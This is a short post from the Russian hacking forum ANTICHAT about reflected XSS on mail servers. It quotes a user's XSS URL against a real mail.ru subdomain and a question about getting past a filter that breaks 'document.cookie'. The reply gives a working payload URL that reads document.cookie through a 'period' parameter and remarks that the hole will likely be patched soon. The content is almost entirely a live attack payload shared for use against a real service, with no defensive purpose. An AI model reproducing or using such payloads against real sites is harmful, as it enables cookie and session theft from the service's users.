ANTICHAT - Показать сообщение отдельно - Пассивные xss на почтовых серверах

Цитата:

Сообщение от satana666

Пасcивка на mail.ru

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//starlook.lady.mail.ru/commented?">alert('XSS')[/COLOR][/COLOR]

Вот только в alert(document.cookie) точка заменяется на _
Это можно как-нибудь обойти?

так будет лучше.

Код HTML:

http://starlook.lady.mail.ru/commented?period=month">alert(document.cookie)

Зря выложил ее, завтра уже будет закрыта.